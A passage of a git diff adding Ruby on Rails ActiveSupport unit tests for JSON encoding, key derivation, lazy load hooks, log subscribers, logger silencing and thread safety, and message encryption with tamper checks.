+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+      assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(time)
+    end
+  end
+
+  def test_twz_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      with_time_precision(0) do
+        zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+        time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+        assert_equal "\"1999-12-31T19:00:00-05:00\"", ActiveSupport::JSON.encode(time)
+      end
+    end
+  end
+
+  def test_time_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      with_time_precision(0) do
+        assert_equal "\"2000-01-01T00:00:00Z\"", ActiveSupport::JSON.encode(Time.utc(2000))
+      end
+    end
+  end
+
+  def test_datetime_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      with_time_precision(0) do
+        assert_equal "\"2000-01-01T00:00:00+00:00\"", ActiveSupport::JSON.encode(DateTime.new(2000))
+      end
+    end
+  end
+
+  def test_twz_to_json_when_wrapping_a_date_time
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    time = ActiveSupport::TimeWithZone.new(DateTime.new(2000), zone)
+    assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(time)
+  end
+
+  def test_exception_to_json
+    exception = Exception.new("foo")
+    assert_equal '"foo"', ActiveSupport::JSON.encode(exception)
+  end
+
+  class InfiniteNumber
+    def as_json(options = nil)
+      { "number" => Float::INFINITY }
+    end
+  end
+
+  def test_to_json_works_when_as_json_returns_infinite_number
+    assert_equal '{"number":null}', InfiniteNumber.new.to_json
+  end
+
+  class NaNNumber
+    def as_json(options = nil)
+      { "number" => Float::NAN }
+    end
+  end
+
+  def test_to_json_works_when_as_json_returns_NaN_number
+    assert_equal '{"number":null}', NaNNumber.new.to_json
+  end
+
+  private
+
+    def object_keys(json_object)
+      json_object[1..-2].scan(/([^{}:,\s]+):/).flatten.sort
+    end
+
+    def with_standard_json_time_format(boolean = true)
+      old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, boolean
+      yield
+    ensure
+      ActiveSupport.use_standard_json_time_format = old
+    end
+
+    def with_time_precision(value)
+      old_value = ActiveSupport::JSON::Encoding.time_precision
+      ActiveSupport::JSON::Encoding.time_precision = value
+      yield
+    ensure
+      ActiveSupport::JSON::Encoding.time_precision = old_value
+    end
+end
diff --git a/activesupport/test/json/encoding_test_cases.rb b/activesupport/test/json/encoding_test_cases.rb
new file mode 100644
index 0000000000..5a4700459f
--- /dev/null
+++ b/activesupport/test/json/encoding_test_cases.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "bigdecimal"
+require "date"
+require "time"
+require "pathname"
+require "uri"
+
+module JSONTest
+  class Foo
+    def initialize(a, b)
+      @a, @b = a, b
+    end
+  end
+
+  class Hashlike
+    def to_hash
+      { foo: "hello", bar: "world" }
+    end
+  end
+
+  class Custom
+    def initialize(serialized)
+      @serialized = serialized
+    end
+
+    def as_json(options = nil)
+      @serialized
+    end
+  end
+
+  MyStruct = Struct.new(:name, :value) do
+    def initialize(*)
+      @unused = "unused instance variable"
+      super
+    end
+  end
+
+  module EncodingTestCases
+    TrueTests     = [[ true,  %(true)  ]]
+    FalseTests    = [[ false, %(false) ]]
+    NilTests      = [[ nil,   %(null)  ]]
+    NumericTests  = [[ 1,     %(1)     ],
+                     [ 2.5,   %(2.5)   ],
+                     [ 0.0 / 0.0,   %(null) ],
+                     [ 1.0 / 0.0,   %(null) ],
+                     [ -1.0 / 0.0,  %(null) ],
+                     [ BigDecimal("0.0") / BigDecimal("0.0"),  %(null) ],
+                     [ BigDecimal("2.5"), %("#{BigDecimal('2.5')}") ]]
+
+    StringTests   = [[ "this is the <string>",     %("this is the \\u003cstring\\u003e")],
+                     [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
+                     [ "http://test.host/posts/1", %("http://test.host/posts/1")],
+                     [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029",
+                       %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]]
+
+    ArrayTests    = [[ ["a", "b", "c"],          %([\"a\",\"b\",\"c\"])        ],
+                     [ [1, "a", :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
+
+    HashTests     = [[ { foo: "bar" }, %({\"foo\":\"bar\"}) ],
+                     [ { 1 => 1, 2 => "a", 3 => :b, 4 => nil, 5 => false }, %({\"1\":1,\"2\":\"a\",\"3\":\"b\",\"4\":null,\"5\":false}) ]]
+
+    RangeTests    = [[ 1..2,     %("1..2")],
+                     [ 1...2,    %("1...2")],
+                     [ 1.5..2.5, %("1.5..2.5")]]
+
+    SymbolTests   = [[ :a,     %("a")    ],
+                     [ :this,  %("this") ],
+                     [ :"a b", %("a b")  ]]
+
+    ObjectTests   = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
+    HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]]
+    StructTests   = [[ MyStruct.new(:foo, "bar"), %({\"name\":\"foo\",\"value\":\"bar\"}) ],
+                     [ MyStruct.new(nil, nil), %({\"name\":null,\"value\":null}) ]]
+    CustomTests   = [[ Custom.new("custom"), '"custom"' ],
+                     [ Custom.new(nil), "null" ],
+                     [ Custom.new(:a), '"a"' ],
+                     [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ],
+                     [ Custom.new(foo: "hello", bar: "world"), '{"bar":"world","foo":"hello"}' ],
+                     [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ],
+                     [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]]
+
+    RegexpTests   = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
+
+    URITests      = [[ URI.parse("http://example.com"), %("http://example.com") ]]
+
+    PathnameTests = [[ Pathname.new("lib/index.rb"), %("lib/index.rb") ]]
+
+    DateTests     = [[ Date.new(2005, 2, 1), %("2005/02/01") ]]
+    TimeTests     = [[ Time.utc(2005, 2, 1, 15, 15, 10), %("2005/02/01 15:15:10 +0000") ]]
+    DateTimeTests = [[ DateTime.civil(2005, 2, 1, 15, 15, 10), %("2005/02/01 15:15:10 +0000") ]]
+
+    StandardDateTests     = [[ Date.new(2005, 2, 1), %("2005-02-01") ]]
+    StandardTimeTests     = [[ Time.utc(2005, 2, 1, 15, 15, 10), %("2005-02-01T15:15:10.000Z") ]]
+    StandardDateTimeTests = [[ DateTime.civil(2005, 2, 1, 15, 15, 10), %("2005-02-01T15:15:10.000+00:00") ]]
+    StandardStringTests   = [[ "this is the <string>", %("this is the <string>")]]
+  end
+end
diff --git a/activesupport/test/key_generator_test.rb b/activesupport/test/key_generator_test.rb
new file mode 100644
index 0000000000..a948cfbd8e
--- /dev/null
+++ b/activesupport/test/key_generator_test.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+begin
+  require "openssl"
+  OpenSSL::PKCS5
+rescue LoadError, NameError
+  $stderr.puts "Skipping KeyGenerator test: broken OpenSSL install"
+else
+
+  require "active_support/time"
+  require "active_support/json"
+
+  class KeyGeneratorTest < ActiveSupport::TestCase
+    def setup
+      @secret    = SecureRandom.hex(64)
+      @generator = ActiveSupport::KeyGenerator.new(@secret, iterations: 2)
+    end
+
+    test "Generating a key of the default length" do
+      derived_key = @generator.generate_key("some_salt")
+      assert_kind_of String, derived_key
+      assert_equal 64, derived_key.length, "Should have generated a key of the default size"
+    end
+
+    test "Generating a key of an alternative length" do
+      derived_key = @generator.generate_key("some_salt", 32)
+      assert_kind_of String, derived_key
+      assert_equal 32, derived_key.length, "Should have generated a key of the right size"
+    end
+
+    test "Expected results" do
+      # For any given set of inputs, this method must continue to return
+      # the same output: if it changes, any existing values relying on a
+      # key would break.
+
+      expected = "b129376f68f1ecae788d7433310249d65ceec090ecacd4c872a3a9e9ec78e055739be5cc6956345d5ae38e7e1daa66f1de587dc8da2bf9e8b965af4b3918a122"
+      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64).generate_key("some_salt").unpack("H*").first
+
+      expected = "b129376f68f1ecae788d7433310249d65ceec090ecacd4c872a3a9e9ec78e055"
+      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64).generate_key("some_salt", 32).unpack("H*").first
+
+      expected = "cbea7f7f47df705967dc508f4e446fd99e7797b1d70011c6899cd39bbe62907b8508337d678505a7dc8184e037f1003ba3d19fc5d829454668e91d2518692eae"
+      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64, iterations: 2).generate_key("some_salt").unpack("H*").first
+    end
+  end
+
+  class CachingKeyGeneratorTest < ActiveSupport::TestCase
+    def setup
+      @secret    = SecureRandom.hex(64)
+      @generator = ActiveSupport::KeyGenerator.new(@secret, iterations: 2)
+      @caching_generator = ActiveSupport::CachingKeyGenerator.new(@generator)
+    end
+
+    test "Generating a cached key for same salt and key size" do
+      derived_key = @caching_generator.generate_key("some_salt", 32)
+      cached_key = @caching_generator.generate_key("some_salt", 32)
+
+      assert_equal derived_key, cached_key
+      assert_equal derived_key.object_id, cached_key.object_id
+    end
+
+    test "Does not cache key for different salt" do
+      derived_key = @caching_generator.generate_key("some_salt", 32)
+      different_salt_key = @caching_generator.generate_key("other_salt", 32)
+
+      assert_not_equal derived_key, different_salt_key
+    end
+
+    test "Does not cache key for different length" do
+      derived_key = @caching_generator.generate_key("some_salt", 32)
+      different_length_key = @caching_generator.generate_key("some_salt", 64)
+
+      assert_not_equal derived_key, different_length_key
+    end
+  end
+
+end
diff --git a/activesupport/test/lazy_load_hooks_test.rb b/activesupport/test/lazy_load_hooks_test.rb
new file mode 100644
index 0000000000..9c9264e8fc
--- /dev/null
+++ b/activesupport/test/lazy_load_hooks_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class LazyLoadHooksTest < ActiveSupport::TestCase
+  def test_basic_hook
+    i = 0
+    ActiveSupport.on_load(:basic_hook) { i += 1 }
+    ActiveSupport.run_load_hooks(:basic_hook)
+    assert_equal 1, i
+  end
+
+  def test_basic_hook_with_two_registrations
+    i = 0
+    ActiveSupport.on_load(:basic_hook_with_two) { i += incr }
+    assert_equal 0, i
+    ActiveSupport.run_load_hooks(:basic_hook_with_two, FakeContext.new(2))
+    assert_equal 2, i
+    ActiveSupport.run_load_hooks(:basic_hook_with_two, FakeContext.new(5))
+    assert_equal 7, i
+  end
+
+  def test_hook_registered_after_run
+    i = 0
+    ActiveSupport.run_load_hooks(:registered_after)
+    assert_equal 0, i
+    ActiveSupport.on_load(:registered_after) { i += 1 }
+    assert_equal 1, i
+  end
+
+  def test_hook_registered_after_run_with_two_registrations
+    i = 0
+    ActiveSupport.run_load_hooks(:registered_after_with_two, FakeContext.new(2))
+    ActiveSupport.run_load_hooks(:registered_after_with_two, FakeContext.new(5))
+    assert_equal 0, i
+    ActiveSupport.on_load(:registered_after_with_two) { i += incr }
+    assert_equal 7, i
+  end
+
+  def test_hook_registered_interleaved_run_with_two_registrations
+    i = 0
+    ActiveSupport.run_load_hooks(:registered_interleaved_with_two, FakeContext.new(2))
+    assert_equal 0, i
+    ActiveSupport.on_load(:registered_interleaved_with_two) { i += incr }
+    assert_equal 2, i
+    ActiveSupport.run_load_hooks(:registered_interleaved_with_two, FakeContext.new(5))
+    assert_equal 7, i
+  end
+
+  def test_hook_receives_a_context
+    i = 0
+    ActiveSupport.on_load(:contextual) { i += incr }
+    assert_equal 0, i
+    ActiveSupport.run_load_hooks(:contextual, FakeContext.new(2))
+    assert_equal 2, i
+  end
+
+  def test_hook_receives_a_context_afterward
+    i = 0
+    ActiveSupport.run_load_hooks(:contextual_after, FakeContext.new(2))
+    assert_equal 0, i
+    ActiveSupport.on_load(:contextual_after) { i += incr }
+    assert_equal 2, i
+  end
+
+  def test_hook_with_yield_true
+    i = 0
+    ActiveSupport.on_load(:contextual_yield, yield: true) do |obj|
+      i += obj.incr + incr_amt
+    end
+    assert_equal 0, i
+    ActiveSupport.run_load_hooks(:contextual_yield, FakeContext.new(2))
+    assert_equal 7, i
+  end
+
+  def test_hook_with_yield_true_afterward
+    i = 0
+    ActiveSupport.run_load_hooks(:contextual_yield_after, FakeContext.new(2))
+    assert_equal 0, i
+    ActiveSupport.on_load(:contextual_yield_after, yield: true) do |obj|
+      i += obj.incr + incr_amt
+    end
+    assert_equal 7, i
+  end
+
+private
+
+  def incr_amt
+    5
+  end
+
+  class FakeContext
+    attr_reader :incr
+    def initialize(incr)
+      @incr = incr
+    end
+  end
+end
diff --git a/activesupport/test/log_subscriber_test.rb b/activesupport/test/log_subscriber_test.rb
new file mode 100644
index 0000000000..2af9b1de30
--- /dev/null
+++ b/activesupport/test/log_subscriber_test.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+
+class MyLogSubscriber < ActiveSupport::LogSubscriber
+  attr_reader :event
+
+  def some_event(event)
+    @event = event
+    info event.name
+  end
+
+  def foo(event)
+    debug "debug"
+    info { "info" }
+    warn "warn"
+  end
+
+  def bar(event)
+    info "#{color("cool", :red)}, #{color("isn't it?", :blue, true)}"
+  end
+
+  def puke(event)
+    raise "puke"
+  end
+end
+
+class SyncLogSubscriberTest < ActiveSupport::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
+
+  def setup
+    super
+    @log_subscriber = MyLogSubscriber.new
+  end
+
+  def teardown
+    super
+    ActiveSupport::LogSubscriber.log_subscribers.clear
+  end
+
+  def instrument(*args, &block)
+    ActiveSupport::Notifications.instrument(*args, &block)
+  end
+
+  def test_proxies_method_to_rails_logger
+    @log_subscriber.foo(nil)
+    assert_equal %w(debug), @logger.logged(:debug)
+    assert_equal %w(info), @logger.logged(:info)
+    assert_equal %w(warn), @logger.logged(:warn)
+  end
+
+  def test_set_color_for_messages
+    ActiveSupport::LogSubscriber.colorize_logging = true
+    @log_subscriber.bar(nil)
+    assert_equal "\e[31mcool\e[0m, \e[1m\e[34misn't it?\e[0m", @logger.logged(:info).last
+  end
+
+  def test_does_not_set_color_if_colorize_logging_is_set_to_false
+    @log_subscriber.bar(nil)
+    assert_equal "cool, isn't it?", @logger.logged(:info).last
+  end
+
+  def test_event_is_sent_to_the_registered_class
+    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    instrument "some_event.my_log_subscriber"
+    wait
+    assert_equal %w(some_event.my_log_subscriber), @logger.logged(:info)
+  end
+
+  def test_event_is_an_active_support_notifications_event
+    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    instrument "some_event.my_log_subscriber"
+    wait
+    assert_kind_of ActiveSupport::Notifications::Event, @log_subscriber.event
+  end
+
+  def test_does_not_send_the_event_if_it_doesnt_match_the_class
+    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    instrument "unknown_event.my_log_subscriber"
+    wait
+    # If we get here, it means that NoMethodError was not raised.
+  end
+
+  def test_does_not_send_the_event_if_logger_is_nil
+    ActiveSupport::LogSubscriber.logger = nil
+    assert_not_called(@log_subscriber, :some_event) do
+      ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+      instrument "some_event.my_log_subscriber"
+      wait
+    end
+  end
+
+  def test_does_not_fail_with_non_namespaced_events
+    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    instrument "whatever"
+    wait
+  end
+
+  def test_flushes_loggers
+    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    ActiveSupport::LogSubscriber.flush_all!
+    assert_equal 1, @logger.flush_count
+  end
+
+  def test_flushes_the_same_logger_just_once
+    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    ActiveSupport::LogSubscriber.attach_to :another, @log_subscriber
+    ActiveSupport::LogSubscriber.flush_all!
+    wait
+    assert_equal 1, @logger.flush_count
+  end
+
+  def test_logging_does_not_die_on_failures
+    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    instrument "puke.my_log_subscriber"
+    instrument "some_event.my_log_subscriber"
+    wait
+
+    assert_equal 1, @logger.logged(:info).size
+    assert_equal "some_event.my_log_subscriber", @logger.logged(:info).last
+
+    assert_equal 1, @logger.logged(:error).size
+    assert_match 'Could not log "puke.my_log_subscriber" event. RuntimeError: puke', @logger.logged(:error).last
+  end
+end
diff --git a/activesupport/test/logger_test.rb b/activesupport/test/logger_test.rb
new file mode 100644
index 0000000000..5efbd10a7d
--- /dev/null
+++ b/activesupport/test/logger_test.rb
@@ -0,0 +1,270 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "multibyte_test_helpers"
+require "stringio"
+require "fileutils"
+require "tempfile"
+require "concurrent/atomics"
+
+class LoggerTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  Logger = ActiveSupport::Logger
+
+  def setup
+    @message = "A debug message"
+    @integer_message = 12345
+    @output  = StringIO.new
+    @logger  = Logger.new(@output)
+  end
+
+  def test_log_outputs_to
+    assert Logger.logger_outputs_to?(@logger, @output),            "Expected logger_outputs_to? @output to return true but was false"
+    assert Logger.logger_outputs_to?(@logger, @output, STDOUT),    "Expected logger_outputs_to? @output or STDOUT to return true but was false"
+
+    assert_not Logger.logger_outputs_to?(@logger, STDOUT),         "Expected logger_outputs_to? to STDOUT to return false, but was true"
+    assert_not Logger.logger_outputs_to?(@logger, STDOUT, STDERR), "Expected logger_outputs_to? to STDOUT or STDERR to return false, but was true"
+  end
+
+  def test_write_binary_data_to_existing_file
+    t = Tempfile.new ["development", "log"]
+    t.binmode
+    t.write "hi mom!"
+    t.close
+
+    f = File.open(t.path, "w")
+    f.binmode
+
+    logger = Logger.new f
+    logger.level = Logger::DEBUG
+
+    str = "\x80".dup
+    str.force_encoding("ASCII-8BIT")
+
+    logger.add Logger::DEBUG, str
+  ensure
+    logger.close
+    t.close true
+  end
+
+  def test_write_binary_data_create_file
+    fname = File.join Dir.tmpdir, "lol", "rofl.log"
+    FileUtils.mkdir_p File.dirname(fname)
+    f = File.open(fname, "w")
+    f.binmode
+
+    logger = Logger.new f
+    logger.level = Logger::DEBUG
+
+    str = "\x80".dup
+    str.force_encoding("ASCII-8BIT")
+
+    logger.add Logger::DEBUG, str
+  ensure
+    logger.close
+    File.unlink fname
+  end
+
+  def test_should_log_debugging_message_when_debugging
+    @logger.level = Logger::DEBUG
+    @logger.add(Logger::DEBUG, @message)
+    assert_includes @output.string, @message
+  end
+
+  def test_should_not_log_debug_messages_when_log_level_is_info
+    @logger.level = Logger::INFO
+    @logger.add(Logger::DEBUG, @message)
+    assert_not @output.string.include?(@message)
+  end
+
+  def test_should_add_message_passed_as_block_when_using_add
+    @logger.level = Logger::INFO
+    @logger.add(Logger::INFO) { @message }
+    assert_includes @output.string, @message
+  end
+
+  def test_should_add_message_passed_as_block_when_using_shortcut
+    @logger.level = Logger::INFO
+    @logger.info { @message }
+    assert_includes @output.string, @message
+  end
+
+  def test_should_convert_message_to_string
+    @logger.level = Logger::INFO
+    @logger.info @integer_message
+    assert_includes @output.string, @integer_message.to_s
+  end
+
+  def test_should_convert_message_to_string_when_passed_in_block
+    @logger.level = Logger::INFO
+    @logger.info { @integer_message }
+    assert_includes @output.string, @integer_message.to_s
+  end
+
+  def test_should_not_evaluate_block_if_message_wont_be_logged
+    @logger.level = Logger::INFO
+    evaluated = false
+    @logger.add(Logger::DEBUG) { evaluated = true }
+    assert evaluated == false
+  end
+
+  def test_should_not_mutate_message
+    message_copy = @message.dup
+    @logger.info @message
+    assert_equal message_copy, @message
+  end
+
+  def test_should_know_if_its_loglevel_is_below_a_given_level
+    Logger::Severity.constants.each do |level|
+      next if level.to_s == "UNKNOWN"
+      @logger.level = Logger::Severity.const_get(level) - 1
+      assert @logger.send("#{level.downcase}?"), "didn't know if it was #{level.downcase}? or below"
+    end
+  end
+
+  def test_buffer_multibyte
+    @logger.level = Logger::INFO
+    @logger.info(UNICODE_STRING)
+    @logger.info(BYTE_STRING)
+    assert_includes @output.string, UNICODE_STRING
+    byte_string = @output.string.dup
+    byte_string.force_encoding("ASCII-8BIT")
+    assert_includes byte_string, BYTE_STRING
+  end
+
+  def test_silencing_everything_but_errors
+    @logger.silence do
+      @logger.debug "NOT THERE"
+      @logger.error "THIS IS HERE"
+    end
+
+    assert_not @output.string.include?("NOT THERE")
+    assert_includes @output.string, "THIS IS HERE"
+  end
+
+  def test_logger_silencing_works_for_broadcast
+    another_output  = StringIO.new
+    another_logger  = ActiveSupport::Logger.new(another_output)
+
+    @logger.extend ActiveSupport::Logger.broadcast(another_logger)
+
+    @logger.debug "CORRECT DEBUG"
+    @logger.silence do |logger|
+      assert_kind_of ActiveSupport::Logger, logger
+      @logger.debug "FAILURE"
+      @logger.error "CORRECT ERROR"
+    end
+
+    assert_includes @output.string, "CORRECT DEBUG"
+    assert_includes @output.string, "CORRECT ERROR"
+    assert_not @output.string.include?("FAILURE")
+
+    assert_includes another_output.string, "CORRECT DEBUG"
+    assert_includes another_output.string, "CORRECT ERROR"
+    assert_not another_output.string.include?("FAILURE")
+  end
+
+  def test_broadcast_silencing_does_not_break_plain_ruby_logger
+    another_output  = StringIO.new
+    another_logger  = ::Logger.new(another_output)
+
+    @logger.extend ActiveSupport::Logger.broadcast(another_logger)
+
+    @logger.debug "CORRECT DEBUG"
+    @logger.silence do |logger|
+      assert_kind_of ActiveSupport::Logger, logger
+      @logger.debug "FAILURE"
+      @logger.error "CORRECT ERROR"
+    end
+
+    assert_includes @output.string, "CORRECT DEBUG"
+    assert_includes @output.string, "CORRECT ERROR"
+    assert_not @output.string.include?("FAILURE")
+
+    assert_includes another_output.string, "CORRECT DEBUG"
+    assert_includes another_output.string, "CORRECT ERROR"
+    assert_includes another_output.string, "FAILURE"
+    # We can't silence plain ruby Logger cause with thread safety
+    # but at least we don't break it
+  end
+
+  def test_logger_level_per_object_thread_safety
+    logger1 = Logger.new(StringIO.new)
+    logger2 = Logger.new(StringIO.new)
+
+    level = Logger::DEBUG
+    assert_equal level, logger1.level, "Expected level #{level_name(level)}, got #{level_name(logger1.level)}"
+    assert_equal level, logger2.level, "Expected level #{level_name(level)}, got #{level_name(logger2.level)}"
+
+    logger1.level = Logger::ERROR
+    assert_equal level, logger2.level, "Expected level #{level_name(level)}, got #{level_name(logger2.level)}"
+  end
+
+  def test_logger_level_main_thread_safety
+    @logger.level = Logger::INFO
+    assert_level(Logger::INFO)
+
+    latch  = Concurrent::CountDownLatch.new
+    latch2 = Concurrent::CountDownLatch.new
+
+    t = Thread.new do
+      latch.wait
+      assert_level(Logger::INFO)
+      latch2.count_down
+    end
+
+    @logger.silence(Logger::ERROR) do
+      assert_level(Logger::ERROR)
+      latch.count_down
+      latch2.wait
+    end
+
+    t.join
+  end
+
+  def test_logger_level_local_thread_safety
+    @logger.level = Logger::INFO
+    assert_level(Logger::INFO)
+
+    thread_1_latch = Concurrent::CountDownLatch.new
+    thread_2_latch = Concurrent::CountDownLatch.new
+
+    threads = (1..2).collect do |thread_number|
+      Thread.new do
+        # force thread 2 to wait until thread 1 is already in @logger.silence
+        thread_2_latch.wait if thread_number == 2
+
+        @logger.silence(Logger::ERROR) do
+          assert_level(Logger::ERROR)
+          @logger.silence(Logger::DEBUG) do
+            # allow thread 2 to finish but hold thread 1
+            if thread_number == 1
+              thread_2_latch.count_down
+              thread_1_latch.wait
+            end
+            assert_level(Logger::DEBUG)
+          end
+        end
+
+        # allow thread 1 to finish
+        assert_level(Logger::INFO)
+        thread_1_latch.count_down if thread_number == 2
+      end
+    end
+
+    threads.each(&:join)
+    assert_level(Logger::INFO)
+  end
+
+  private
+    def level_name(level)
+      ::Logger::Severity.constants.find do |severity|
+        Logger.const_get(severity) == level
+      end.to_s
+    end
+
+    def assert_level(level)
+      assert_equal level, @logger.level, "Expected level #{level_name(level)}, got #{level_name(@logger.level)}"
+    end
+end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
new file mode 100644
index 0000000000..1fbe655642
--- /dev/null
+++ b/activesupport/test/message_encryptor_test.rb
@@ -0,0 +1,176 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "openssl"
+require "active_support/time"
+require "active_support/json"
+require_relative "metadata/shared_metadata_tests"
+
+class MessageEncryptorTest < ActiveSupport::TestCase
+  class JSONSerializer
+    def dump(value)
+      ActiveSupport::JSON.encode(value)
+    end
+
+    def load(value)
+      ActiveSupport::JSON.decode(value)
+    end
+  end
+
+  def setup
+    @secret    = SecureRandom.random_bytes(32)
+    @verifier  = ActiveSupport::MessageVerifier.new(@secret, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+    @encryptor = ActiveSupport::MessageEncryptor.new(@secret)
+    @data = { some: "data", now: Time.local(2010) }
+  end
+
+  def test_encrypting_twice_yields_differing_cipher_text
+    first_message = @encryptor.encrypt_and_sign(@data).split("--").first
+    second_message = @encryptor.encrypt_and_sign(@data).split("--").first
+    assert_not_equal first_message, second_message
+  end
+
+  def test_messing_with_either_encrypted_values_causes_failure
+    text, iv = @verifier.verify(@encryptor.encrypt_and_sign(@data)).split("--")
+    assert_not_decrypted([iv, text] * "--")
+    assert_not_decrypted([text, munge(iv)] * "--")
+    assert_not_decrypted([munge(text), iv] * "--")
+    assert_not_decrypted([munge(text), munge(iv)] * "--")
+  end
+
+  def test_messing_with_verified_values_causes_failures
+    text, iv = @encryptor.encrypt_and_sign(@data).split("--")
+    assert_not_verified([iv, text] * "--")
+    assert_not_verified([text, munge(iv)] * "--")
+    assert_not_verified([munge(text), iv] * "--")
+    assert_not_verified([munge(text), munge(iv)] * "--")
+  end
+
+  def test_signed_round_tripping
+    message = @encryptor.encrypt_and_sign(@data)
+    assert_equal @data, @encryptor.decrypt_and_verify(message)
+  end
+
+  def test_backwards_compat_for_64_bytes_key
+    # 64 bit key
+    secret = ["3942b1bf81e622559ed509e3ff274a780784fe9e75b065866bd270438c74da822219de3156473cc27df1fd590e4baf68c95eeb537b6e4d4c5a10f41635b5597e"].pack("H*")
+    # Encryptor with 32 bit key, 64 bit secret for verifier
+    encryptor = ActiveSupport::MessageEncryptor.new(secret[0..31], secret)
+    # Message generated with 64 bit key
+    message = "eHdGeExnZEwvMSt3U3dKaFl1WFo0TjVvYzA0eGpjbm5WSkt5MXlsNzhpZ0ZnbWhBWFlQZTRwaXE1bVJCS2oxMDZhYVp2dVN3V0lNZUlWQ3c2eVhQbnhnVjFmeVVubmhRKzF3WnZyWHVNMDg9LS1HSisyakJVSFlPb05ISzRMaXRzcFdBPT0=--831a1d54a3cda8a0658dc668a03dedcbce13b5ca"
+    assert_equal "data", encryptor.decrypt_and_verify(message)[:some]
+  end
+
+  def test_alternative_serialization_method
+    prev = ActiveSupport.use_standard_json_time_format
+    ActiveSupport.use_standard_json_time_format = true
+    encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.random_bytes(32), SecureRandom.random_bytes(128), serializer: JSONSerializer.new)
+    message = encryptor.encrypt_and_sign(:foo => 123, "bar" => Time.utc(2010))
+    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
+    assert_equal exp, encryptor.decrypt_and_verify(message)
+  ensure
+    ActiveSupport.use_standard_json_time_format = prev
+  end
+
+  def test_message_obeys_strict_encoding
+    bad_encoding_characters = "\n!@#"
+    message, iv = @encryptor.encrypt_and_sign("This is a very \n\nhumble string" + bad_encoding_characters)
+
+    assert_not_decrypted("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+    assert_not_verified("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+
+    assert_not_decrypted([iv,  message] * bad_encoding_characters)
+    assert_not_verified([iv,  message] * bad_encoding_characters)
+  end
+
+  def test_aead_mode_encryption
+    encryptor = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
+    message = encryptor.encrypt_and_sign(@data)
+    assert_equal @data, encryptor.decrypt_and_verify(message)
+  end
+
+  def test_aead_mode_with_hmac_cbc_cipher_text
+    encryptor = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
+
+    assert_aead_not_decrypted(encryptor, "eHdGeExnZEwvMSt3U3dKaFl1WFo0TjVvYzA0eGpjbm5WSkt5MXlsNzhpZ0ZnbWhBWFlQZTRwaXE1bVJCS2oxMDZhYVp2dVN3V0lNZUlWQ3c2eVhQbnhnVjFmeVVubmhRKzF3WnZyWHVNMDg9LS1HSisyakJVSFlPb05ISzRMaXRzcFdBPT0=--831a1d54a3cda8a0658dc668a03dedcbce13b5ca")
+  end
+
+  def test_messing_with_aead_values_causes_failures
+    encryptor = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
+    text, iv, auth_tag = encryptor.encrypt_and_sign(@data).split("--")
+    assert_aead_not_decrypted(encryptor, [iv, text, auth_tag] * "--")
+    assert_aead_not_decrypted(encryptor, [munge(text), iv, auth_tag] * "--")
